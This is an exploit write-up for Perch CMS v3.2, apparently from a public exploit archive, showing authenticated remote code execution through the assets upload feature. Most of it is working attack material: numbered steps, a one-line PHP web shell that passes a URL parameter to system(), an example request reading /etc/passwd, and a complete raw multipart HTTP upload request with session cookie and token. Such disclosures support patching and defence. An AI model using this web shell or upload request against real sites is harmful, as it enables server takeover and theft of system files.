Perch 3.2 Remote Code Execution

`Exploit Title: Perch v3.2 - Remote Code Execution (RCE)  
Application: Perch Cms  
Version: v3.2  
Bugs: RCE  
Technology: PHP  
Vendor URL: https://grabaperch.com/  
Software Link: https://grabaperch.com/download  
Date of found: 21.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
1. login to account as admin  
2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)  
3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)  
4. upload poc.phar file  
  
poc.phar file contents :  
<?php $a=$_GET['code']; echo system($a);?>  
  
5. visit http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd  
  
  
poc request:   
  
POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1  
Host: localhost  
Content-Length: 1071  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9  
Connection: close  
  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="resourceTitle"  
  
test  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="image"; filename="poc.phar"  
Content-Type: application/octet-stream  
  
<?php $a=$_GET['code']; echo system($a);?>  
  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="image_field"  
  
1  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="image_assetID"  
  
  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="resourceBucket"  
  
admin  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="tags"  
  
test  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="btnsubmit"  
  
Submit  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="formaction"  
  
edit  
------WebKitFormBoundaryYGoerZn09hHSjd4Z  
Content-Disposition: form-data; name="token"  
  
5494af3e8dbe5ac399ca7f12219cfe82  
------WebKitFormBoundaryYGoerZn09hHSjd4Z--  
  
`